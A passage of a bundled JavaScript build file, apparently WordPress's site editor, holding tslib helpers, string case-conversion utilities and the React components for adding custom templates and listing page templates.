45275 dispose = value[Symbol.dispose];
45276 if (async) inner = dispose;
45277 }
45278 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
45279 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
45280 env.stack.push({ value: value, dispose: dispose, async: async });
45281 }
45282 else if (async) {
45283 env.stack.push({ async: true });
45284 }
45285 return value;
45286}
45287
45288var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
45289 var e = new Error(message);
45290 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
45291};
45292
45293function __disposeResources(env) {
45294 function fail(e) {
45295 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
45296 env.hasError = true;
45297 }
45298 var r, s = 0;
45299 function next() {
45300 while (r = env.stack.pop()) {
45301 try {
45302 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
45303 if (r.dispose) {
45304 var result = r.dispose.call(r.value);
45305 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
45306 }
45307 else s |= 1;
45308 }
45309 catch (e) {
45310 fail(e);
45311 }
45312 }
45313 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
45314 if (env.hasError) throw env.error;
45315 }
45316 return next();
45317}
45318
45319function __rewriteRelativeImportExtension(path, preserveJsx) {
45320 if (typeof path === "string" && /^\.\.?\//.test(path)) {
45321 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
45322 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
45323 });
45324 }
45325 return path;
45326}
45327
45328/* harmony default export */ const tslib_es6 = ({
45329 __extends,
45330 __assign,
45331 __rest,
45332 __decorate,
45333 __param,
45334 __esDecorate,
45335 __runInitializers,
45336 __propKey,
45337 __setFunctionName,
45338 __metadata,
45339 __awaiter,
45340 __generator,
45341 __createBinding,
45342 __exportStar,
45343 __values,
45344 __read,
45345 __spread,
45346 __spreadArrays,
45347 __spreadArray,
45348 __await,
45349 __asyncGenerator,
45350 __asyncDelegator,
45351 __asyncValues,
45352 __makeTemplateObject,
45353 __importStar,
45354 __importDefault,
45355 __classPrivateFieldGet,
45356 __classPrivateFieldSet,
45357 __classPrivateFieldIn,
45358 __addDisposableResource,
45359 __disposeResources,
45360 __rewriteRelativeImportExtension,
45361});
45362
45363;// ./node_modules/lower-case/dist.es2015/index.js
45364/**
45365 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
45366 */
45367var SUPPORTED_LOCALE = {
45368 tr: {
45369 regexp: /\u0130|\u0049|\u0049\u0307/g,
45370 map: {
45371 İ: "\u0069",
45372 I: "\u0131",
45373 İ: "\u0069",
45374 },
45375 },
45376 az: {
45377 regexp: /\u0130/g,
45378 map: {
45379 İ: "\u0069",
45380 I: "\u0131",
45381 İ: "\u0069",
45382 },
45383 },
45384 lt: {
45385 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
45386 map: {
45387 I: "\u0069\u0307",
45388 J: "\u006A\u0307",
45389 Į: "\u012F\u0307",
45390 Ì: "\u0069\u0307\u0300",
45391 Í: "\u0069\u0307\u0301",
45392 Ĩ: "\u0069\u0307\u0303",
45393 },
45394 },
45395};
45396/**
45397 * Localized lower case.
45398 */
45399function localeLowerCase(str, locale) {
45400 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
45401 if (lang)
45402 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
45403 return lowerCase(str);
45404}
45405/**
45406 * Lower case as a function.
45407 */
45408function lowerCase(str) {
45409 return str.toLowerCase();
45410}
45411
45412;// ./node_modules/no-case/dist.es2015/index.js
45413
45414// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
45415var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
45416// Remove all non-word characters.
45417var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
45418/**
45419 * Normalize the string into something other libraries can manipulate easier.
45420 */
45421function noCase(input, options) {
45422 if (options === void 0) { options = {}; }
45423 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
45424 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
45425 var start = 0;
45426 var end = result.length;
45427 // Trim the delimiter from around the output string.
45428 while (result.charAt(start) === "\0")
45429 start++;
45430 while (result.charAt(end - 1) === "\0")
45431 end--;
45432 // Transform each token independently.
45433 return result.slice(start, end).split("\0").map(transform).join(delimiter);
45434}
45435/**
45436 * Replace `re` in the input string with the replacement value.
45437 */
45438function replace(input, re, value) {
45439 if (re instanceof RegExp)
45440 return input.replace(re, value);
45441 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
45442}
45443
45444;// ./node_modules/dot-case/dist.es2015/index.js
45445
45446
45447function dotCase(input, options) {
45448 if (options === void 0) { options = {}; }
45449 return noCase(input, __assign({ delimiter: "." }, options));
45450}
45451
45452;// ./node_modules/param-case/dist.es2015/index.js
45453
45454
45455function paramCase(input, options) {
45456 if (options === void 0) { options = {}; }
45457 return dotCase(input, __assign({ delimiter: "-" }, options));
45458}
45459
45460;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-generic-template-modal-content.js
45461
45462
45463
45464
45465
45466function AddCustomGenericTemplateModalContent({ createTemplate, onBack }) {
45467 const [title, setTitle] = (0,external_wp_element_.useState)("");
45468 const defaultTitle = (0,external_wp_i18n_namespaceObject.__)("Custom Template");
45469 const [isBusy, setIsBusy] = (0,external_wp_element_.useState)(false);
45470 const inputRef = (0,external_wp_element_.useRef)();
45471 (0,external_wp_element_.useEffect)(() => {
45472 if (inputRef.current) {
45473 inputRef.current.focus();
45474 }
45475 }, []);
45476 async function onCreateTemplate(event) {
45477 event.preventDefault();
45478 if (isBusy) {
45479 return;
45480 }
45481 setIsBusy(true);
45482 try {
45483 await createTemplate(
45484 {
45485 slug: paramCase(title || defaultTitle) || "wp-custom-template",
45486 title: title || defaultTitle
45487 },
45488 false
45489 );
45490 } finally {
45491 setIsBusy(false);
45492 }
45493 }
45494 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onCreateTemplate, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 6, children: [
45495 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45496 external_wp_components_namespaceObject.TextControl,
45497 {
45498 __next40pxDefaultSize: true,
45499 __nextHasNoMarginBottom: true,
45500 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
45501 value: title,
45502 onChange: setTitle,
45503 placeholder: defaultTitle,
45504 disabled: isBusy,
45505 ref: inputRef,
45506 help: (0,external_wp_i18n_namespaceObject.__)(
45507 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
45508 'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.'
45509 )
45510 }
45511 ),
45512 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45513 external_wp_components_namespaceObject.__experimentalHStack,
45514 {
45515 className: "edit-site-custom-generic-template__modal-actions",
45516 justify: "right",
45517 children: [
45518 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45519 external_wp_components_namespaceObject.Button,
45520 {
45521 __next40pxDefaultSize: true,
45522 variant: "tertiary",
45523 onClick: onBack,
45524 children: (0,external_wp_i18n_namespaceObject.__)("Back")
45525 }
45526 ),
45527 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45528 external_wp_components_namespaceObject.Button,
45529 {
45530 __next40pxDefaultSize: true,
45531 variant: "primary",
45532 type: "submit",
45533 isBusy,
45534 "aria-disabled": isBusy,
45535 children: (0,external_wp_i18n_namespaceObject.__)("Create")
45536 }
45537 )
45538 ]
45539 }
45540 )
45541 ] }) });
45542}
45543var add_custom_generic_template_modal_content_default = AddCustomGenericTemplateModalContent;
45544
45545
45546;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/index.js
45547
45548
45549
45550
45551
45552
45553
45554
45555
45556
45557
45558
45559
45560
45561
45562
45563
45564
45565const { useHistory: add_new_template_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
45566const DEFAULT_TEMPLATE_SLUGS = [
45567 "front-page",
45568 "home",
45569 "single",
45570 "page",
45571 "index",
45572 "archive",
45573 "author",
45574 "category",
45575 "date",
45576 "tag",
45577 "search",
45578 "404"
45579];
45580const TEMPLATE_ICONS = {
45581 "front-page": home_default,
45582 home: verse_default,
45583 single: pin_default,
45584 page: page_default,
45585 archive: archive_default,
45586 search: search_default,
45587 404: not_found_default,
45588 index: list_default,
45589 category: category_default,
45590 author: comment_author_avatar_default,
45591 taxonomy: block_meta_default,
45592 date: calendar_default,
45593 tag: tag_default,
45594 attachment: media_media_default
45595};
45596function TemplateListItem({
45597 title,
45598 direction,
45599 className,
45600 description,
45601 icon,
45602 onClick,
45603 children
45604}) {
45605 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45606 external_wp_components_namespaceObject.Button,
45607 {
45608 __next40pxDefaultSize: true,
45609 className,
45610 onClick,
45611 label: description,
45612 showTooltip: !!description,
45613 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45614 external_wp_components_namespaceObject.Flex,
45615 {
45616 as: "span",
45617 spacing: 2,
45618 align: "center",
45619 justify: "center",
45620 style: { width: "100%" },
45621 direction,
45622 children: [
45623 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-add-new-template__template-icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon }) }),
45624 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45625 external_wp_components_namespaceObject.__experimentalVStack,
45626 {
45627 className: "edit-site-add-new-template__template-name",
45628 alignment: "center",
45629 spacing: 0,
45630 children: [
45631 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45632 external_wp_components_namespaceObject.__experimentalText,
45633 {
45634 align: "center",
45635 weight: 500,
45636 lineHeight: 1.53846153846,
45637 children: title
45638 }
45639 ),
45640 children
45641 ]
45642 }
45643 )
45644 ]
45645 }
45646 )
45647 }
45648 );
45649}
45650const modalContentMap = {
45651 templatesList: 1,
45652 customTemplate: 2,
45653 customGenericTemplate: 3
45654};
45655function NewTemplateModal({ onClose }) {
45656 const [modalContent, setModalContent] = (0,external_wp_element_.useState)(
45657 modalContentMap.templatesList
45658 );
45659 const [entityForSuggestions, setEntityForSuggestions] = (0,external_wp_element_.useState)({});
45660 const [isSubmitting, setIsSubmitting] = (0,external_wp_element_.useState)(false);
45661 const missingTemplates = useMissingTemplates(
45662 setEntityForSuggestions,
45663 () => setModalContent(modalContentMap.customTemplate)
45664 );
45665 const history = add_new_template_useHistory();
45666 const { saveEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
45667 const { createErrorNotice, createSuccessNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
45668 const containerRef = (0,external_wp_element_.useRef)(null);
45669 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
45670 const homeUrl = (0,external_wp_data_.useSelect)((select) => {
45671 return select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "__unstableBase")?.home;
45672 }, []);
45673 const TEMPLATE_SHORT_DESCRIPTIONS = {
45674 "front-page": homeUrl,
45675 date: (0,external_wp_i18n_namespaceObject.sprintf)(
45676 // translators: %s: The homepage url.
45677 (0,external_wp_i18n_namespaceObject.__)("E.g. %s"),
45678 homeUrl + "/" + (/* @__PURE__ */ new Date()).getFullYear()
45679 )
45680 };
45681 (0,external_wp_element_.useEffect)(() => {
45682 if (containerRef.current && modalContent === modalContentMap.templatesList) {
45683 const [firstFocusable] = external_wp_dom_namespaceObject.focus.focusable.find(
45684 containerRef.current
45685 );
45686 firstFocusable?.focus();
45687 }
45688 }, [modalContent]);
45689 async function createTemplate(template, isWPSuggestion = true) {
45690 if (isSubmitting) {
45691 return;
45692 }
45693 setIsSubmitting(true);
45694 try {
45695 const { title, description, slug } = template;
45696 const newTemplate = await saveEntityRecord(
45697 "postType",
45698 TEMPLATE_POST_TYPE,
45699 {
45700 description,
45701 // Slugs need to be strings, so this is for template `404`
45702 slug: slug.toString(),
45703 status: "publish",
45704 title,
45705 // This adds a post meta field in template that is part of `is_custom` value calculation.
45706 is_wp_suggestion: isWPSuggestion
45707 },
45708 { throwOnError: true }
45709 );
45710 history.navigate(
45711 `/${TEMPLATE_POST_TYPE}/${newTemplate.id}?canvas=edit`
45712 );
45713 createSuccessNotice(
45714 (0,external_wp_i18n_namespaceObject.sprintf)(
45715 // translators: %s: Title of the created post or template, e.g: "Hello world".
45716 (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'),
45717 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newTemplate.title?.rendered || title) || (0,external_wp_i18n_namespaceObject.__)("(no title)")
45718 ),
45719 {
45720 type: "snackbar"
45721 }
45722 );
45723 } catch (error) {
45724 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while creating the template.");
45725 createErrorNotice(errorMessage, {
45726 type: "snackbar"
45727 });
45728 } finally {
45729 setIsSubmitting(false);
45730 }
45731 }
45732 const onModalClose = () => {
45733 onClose();
45734 setModalContent(modalContentMap.templatesList);
45735 };
45736 let modalTitle = (0,external_wp_i18n_namespaceObject.__)("Add template");
45737 if (modalContent === modalContentMap.customTemplate) {
45738 modalTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
45739 // translators: %s: Name of the post type e.g: "Post".
45740 (0,external_wp_i18n_namespaceObject.__)("Add template: %s"),
45741 entityForSuggestions.labels.singular_name
45742 );
45743 } else if (modalContent === modalContentMap.customGenericTemplate) {
45744 modalTitle = (0,external_wp_i18n_namespaceObject.__)("Create custom template");
45745 }
45746 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45747 external_wp_components_namespaceObject.Modal,
45748 {
45749 title: modalTitle,
45750 className: dist_clsx("edit-site-add-new-template__modal", {
45751 "edit-site-add-new-template__modal_template_list": modalContent === modalContentMap.templatesList,
45752 "edit-site-custom-template-modal": modalContent === modalContentMap.customTemplate
45753 }),
45754 onRequestClose: onModalClose,
45755 overlayClassName: modalContent === modalContentMap.customGenericTemplate ? "edit-site-custom-generic-template__modal" : void 0,
45756 ref: containerRef,
45757 children: [
45758 modalContent === modalContentMap.templatesList && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45759 external_wp_components_namespaceObject.__experimentalGrid,
45760 {
45761 columns: isMobile ? 2 : 3,
45762 gap: 4,
45763 align: "flex-start",
45764 justify: "center",
45765 className: "edit-site-add-new-template__template-list__contents",
45766 children: [
45767 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { className: "edit-site-add-new-template__template-list__prompt", children: (0,external_wp_i18n_namespaceObject.__)(
45768 "Select what the new template should apply to:"
45769 ) }),
45770 missingTemplates.map((template) => {
45771 const { title, slug, onClick } = template;
45772 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45773 TemplateListItem,
45774 {
45775 title,
45776 direction: "column",
45777 className: "edit-site-add-new-template__template-button",
45778 description: TEMPLATE_SHORT_DESCRIPTIONS[slug],
45779 icon: TEMPLATE_ICONS[slug] || layout_default,
45780 onClick: () => onClick ? onClick(template) : createTemplate(template)
45781 },
45782 slug
45783 );
45784 }),
45785 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45786 TemplateListItem,
45787 {
45788 title: (0,external_wp_i18n_namespaceObject.__)("Custom template"),
45789 direction: "row",
45790 className: "edit-site-add-new-template__custom-template-button",
45791 icon: pencil_default,
45792 onClick: () => setModalContent(
45793 modalContentMap.customGenericTemplate
45794 ),
45795 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45796 external_wp_components_namespaceObject.__experimentalText,
45797 {
45798 lineHeight: 1.53846153846,
45799 children: (0,external_wp_i18n_namespaceObject.__)(
45800 "A custom template can be manually applied to any post or page."
45801 )
45802 }
45803 )
45804 }
45805 )
45806 ]
45807 }
45808 ),
45809 modalContent === modalContentMap.customTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45810 add_custom_template_modal_content_default,
45811 {
45812 onSelect: createTemplate,
45813 entityForSuggestions,
45814 onBack: () => setModalContent(modalContentMap.templatesList),
45815 containerRef
45816 }
45817 ),
45818 modalContent === modalContentMap.customGenericTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45819 add_custom_generic_template_modal_content_default,
45820 {
45821 createTemplate,
45822 onBack: () => setModalContent(modalContentMap.templatesList)
45823 }
45824 )
45825 ]
45826 }
45827 );
45828}
45829function NewTemplate() {
45830 const [showModal, setShowModal] = (0,external_wp_element_.useState)(false);
45831 const { postType } = (0,external_wp_data_.useSelect)((select) => {
45832 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
45833 return {
45834 postType: getPostType(TEMPLATE_POST_TYPE)
45835 };
45836 }, []);
45837 if (!postType) {
45838 return null;
45839 }
45840 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45841 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45842 external_wp_components_namespaceObject.Button,
45843 {
45844 variant: "primary",
45845 onClick: () => setShowModal(true),
45846 label: postType.labels.add_new_item,
45847 __next40pxDefaultSize: true,
45848 children: postType.labels.add_new_item
45849 }
45850 ),
45851 showModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NewTemplateModal, { onClose: () => setShowModal(false) })
45852 ] });
45853}
45854function useMissingTemplates(setEntityForSuggestions, onClick) {
45855 const existingTemplates = useExistingTemplates();
45856 const defaultTemplateTypes = useDefaultTemplateTypes();
45857 const existingTemplateSlugs = (existingTemplates || []).map(
45858 ({ slug }) => slug
45859 );
45860 const missingDefaultTemplates = (defaultTemplateTypes || []).filter(
45861 (template) => DEFAULT_TEMPLATE_SLUGS.includes(template.slug) && !existingTemplateSlugs.includes(template.slug)
45862 );
45863 const onClickMenuItem = (_entityForSuggestions) => {
45864 onClick?.();
45865 setEntityForSuggestions(_entityForSuggestions);
45866 };
45867 const enhancedMissingDefaultTemplateTypes = [...missingDefaultTemplates];
45868 const { defaultTaxonomiesMenuItems, taxonomiesMenuItems } = useTaxonomiesMenuItems(onClickMenuItem);
45869 const { defaultPostTypesMenuItems, postTypesMenuItems } = usePostTypeMenuItems(onClickMenuItem);
45870 const authorMenuItem = useAuthorMenuItem(onClickMenuItem);
45871 [
45872 ...defaultTaxonomiesMenuItems,
45873 ...defaultPostTypesMenuItems,
45874 authorMenuItem
45875 ].forEach((menuItem) => {
45876 if (!menuItem) {
45877 return;
45878 }
45879 const matchIndex = enhancedMissingDefaultTemplateTypes.findIndex(
45880 (template) => template.slug === menuItem.slug
45881 );
45882 if (matchIndex > -1) {
45883 enhancedMissingDefaultTemplateTypes[matchIndex] = menuItem;
45884 } else {
45885 enhancedMissingDefaultTemplateTypes.push(menuItem);
45886 }
45887 });
45888 enhancedMissingDefaultTemplateTypes?.sort((template1, template2) => {
45889 return DEFAULT_TEMPLATE_SLUGS.indexOf(template1.slug) - DEFAULT_TEMPLATE_SLUGS.indexOf(template2.slug);
45890 });
45891 const missingTemplates = [
45892 ...enhancedMissingDefaultTemplateTypes,
45893 ...usePostTypeArchiveMenuItems(),
45894 ...postTypesMenuItems,
45895 ...taxonomiesMenuItems
45896 ];
45897 return missingTemplates;
45898}
45899var add_new_template_default = (0,external_wp_element_.memo)(NewTemplate);
45900
45901
45902;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/fields.js
45903
45904
45905
45906
45907
45908
45909
45910
45911
45912
45913
45914
45915const { useGlobalStyle: page_templates_fields_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
45916function fields_PreviewField({ item }) {
45917 const settings = usePatternSettings();
45918 const [backgroundColor = "white"] = page_templates_fields_useGlobalStyle("color.background");
45919 const blocks = (0,external_wp_element_.useMemo)(() => {
45920 return (0,external_wp_blocks_namespaceObject.parse)(item.content.raw);
45921 }, [item.content.raw]);
45922 const isEmpty = !blocks?.length;
45923 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorProvider, { post: item, settings, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45924 "div",
45925 {
45926 className: "page-templates-preview-field",
45927 style: { backgroundColor },
45928 children: [
45929 isEmpty && (0,external_wp_i18n_namespaceObject.__)("Empty template"),
45930 !isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, { blocks }) })
45931 ]
45932 }
45933 ) });
45934}
45935const fields_previewField = {
45936 label: (0,external_wp_i18n_namespaceObject.__)("Preview"),
45937 id: "preview",
45938 render: fields_PreviewField,
45939 enableSorting: false
45940};
45941const descriptionField = {
45942 label: (0,external_wp_i18n_namespaceObject.__)("Description"),
45943 id: "description",
45944 render: ({ item }) => {
45945 return item.description && (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.description);
45946 },
45947 enableSorting: false,
45948 enableGlobalSearch: true
45949};
45950function fields_AuthorField({ item }) {
45951 const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_.useState)(false);
45952 const { text, icon, imageUrl } = useAddedBy(item.type, item.id);
45953 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: 0, children: [
45954 imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45955 "div",
45956 {
45957 className: dist_clsx("page-templates-author-field__avatar", {
45958 "is-loaded": isImageLoaded
45959 }),
45960 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45961 "img",
45962 {
45963 onLoad: () => setIsImageLoaded(true),
45964 alt: "",
45965 src: imageUrl
45966 }
45967 )
45968 }
45969 ),
45970 !imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "page-templates-author-field__icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon }) }),
45971 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "page-templates-author-field__name", children: text })
45972 ] });
45973}
45974const authorField = {
45975 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
45976 id: "author",
45977 getValue: ({ item }) => item.author_text,
45978 render: fields_AuthorField
45979};
45980
45981
45982;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/view-utils.js
45983const view_utils_defaultLayouts = {
45984 table: {
45985 showMedia: false
45986 },
45987 grid: {
45988 showMedia: true
45989 },
45990 list: {
45991 showMedia: false
45992 }
45993};
45994const view_utils_DEFAULT_VIEW = {
45995 type: "grid",
45996 perPage: 20,
45997 sort: {
45998 field: "title",
45999 direction: "asc"
46000 },
46001 titleField: "title",
46002 descriptionField: "description",
46003 mediaField: "preview",
46004 fields: ["author", "active", "slug"],
46005 filters: [],
46006 ...view_utils_defaultLayouts.grid
46007};
46008function getDefaultView(activeView) {
46009 return {
46010 ...view_utils_DEFAULT_VIEW,
46011 filters: !["active", "user"].includes(activeView) ? [
46012 {
46013 field: "author",
46014 operator: "isAny",
46015 value: [activeView]
46016 }
46017 ] : []
46018 };
46019}
46020
46021
46022;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/index.js
46023
46024
46025
46026
46027
46028
46029
46030
46031
46032
46033
46034
46035
46036
46037
46038
46039
46040
46041const { usePostActions: page_templates_usePostActions, templateTitleField } = unlock(external_wp_editor_namespaceObject.privateApis);
46042const { useHistory: page_templates_useHistory, useLocation: page_templates_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
46043const { useEntityRecordsWithPermissions } = unlock(external_wp_coreData_namespaceObject.privateApis);
46044function PageTemplates() {
46045 const { path, query } = page_templates_useLocation();
46046 const { activeView = "active", postId } = query;
46047 const [selection, setSelection] = (0,external_wp_element_.useState)([postId]);
46048 const defaultView = (0,external_wp_element_.useMemo)(() => {
46049 return getDefaultView(activeView);
46050 }, [activeView]);
46051 const { view, updateView, isModified, resetToDefault } = (0,build_module.useView)({
46052 kind: "postType",
46053 name: TEMPLATE_POST_TYPE,
46054 slug: activeView,
46055 defaultView,
46056 queryParams: {
46057 page: query.pageNumber,
46058 search: query.search
46059 },
46060 onChangeQueryParams: (newQueryParams) => {
46061 history.navigate(
46062 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46063 ...query,
46064 pageNumber: newQueryParams.page,
46065 search: newQueryParams.search || void 0
46066 })
46067 );
46068 }
46069 });
46070 const { records, isResolving: isLoadingData } = useEntityRecordsWithPermissions("postType", TEMPLATE_POST_TYPE, {
46071 per_page: -1
46072 });
46073 const history = page_templates_useHistory();
46074 const onChangeSelection = (0,external_wp_element_.useCallback)(
46075 (items) => {
46076 setSelection(items);
46077 if (view?.type === "list") {
46078 history.navigate(
46079 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
46080 postId: items.length === 1 ? items[0] : void 0
46081 })
46082 );
46083 }
46084 },
46085 [history, path, view?.type]
46086 );
46087 const authors = (0,external_wp_element_.useMemo)(() => {
46088 if (!records) {
46089 return [];
46090 }
46091 const authorsSet = /* @__PURE__ */ new Set();
46092 records.forEach((template) => {
46093 authorsSet.add(template.author_text);
46094 });
46095 return Array.from(authorsSet).map((author) => ({
46096 value: author,
46097 label: author
46098 }));
46099 }, [records]);
46100 const fields = (0,external_wp_element_.useMemo)(
46101 () => [
46102 fields_previewField,
46103 templateTitleField,
46104 descriptionField,
46105 {
46106 ...authorField,
46107 elements: authors
46108 }
46109 ],
46110 [authors]
46111 );
46112 const { data, paginationInfo } = (0,external_wp_element_.useMemo)(() => {
46113 return filterSortAndPaginate(records, view, fields);
46114 }, [records, view, fields]);
46115 const postTypeActions = page_templates_usePostActions({
46116 postType: TEMPLATE_POST_TYPE,
46117 context: "list"
46118 });
46119 const editAction = useEditPostAction();
46120 const actions = (0,external_wp_element_.useMemo)(
46121 () => [editAction, ...postTypeActions],
46122 [postTypeActions, editAction]
46123 );
46124 const onChangeView = (0,external_wp_compose_namespaceObject.useEvent)((newView) => {
46125 if (newView.type !== view.type) {
46126 history.invalidate();
46127 }
46128 updateView(newView);
46129 });
46130 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46131 page_page_default,
46132 {
46133 className: "edit-site-page-templates",
46134 title: (0,external_wp_i18n_namespaceObject.__)("Templates"),
46135 actions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46136 isModified && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46137 external_wp_components_namespaceObject.Button,
46138 {
46139 __next40pxDefaultSize: true,
46140 onClick: () => {
46141 resetToDefault();
46142 history.invalidate();
46143 },
46144 children: (0,external_wp_i18n_namespaceObject.__)("Reset view")
46145 }
46146 ),
46147 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(add_new_template_default, {})
46148 ] }),
46149 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46150 dataviews_default,
46151 {
46152 paginationInfo,
46153 fields,
46154 actions,
46155 data,
46156 isLoading: isLoadingData,
46157 view,
46158 onChangeView,
46159 onChangeSelection,
46160 isItemClickable: () => true,
46161 onClickItem: ({ id }) => {
46162 history.navigate(`/wp_template/${id}?canvas=edit`);
46163 },
46164 selection,
46165 defaultLayouts: view_utils_defaultLayouts
46166 },
46167 activeView
46168 )
46169 }
46170 );
46171}
46172
46173
46174;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/templates.js
46175
46176
46177
46178
46179
46180
46181
46182async function isTemplateListView(query) {
46183 const { activeView = "active" } = query;
46184 const view = await (0,build_module.loadView)({
46185 kind: "postType",
46186 name: "wp_template",
46187 slug: activeView,
46188 defaultView: getDefaultView(activeView)
46189 });
46190 return view.type === "list";
46191}
46192const templatesRoute = {
46193 name: "templates",
46194 path: "/template",
46195 areas: {
46196 sidebar({ siteData }) {
46197 const isBlockTheme = siteData.currentTheme?.is_block_theme;
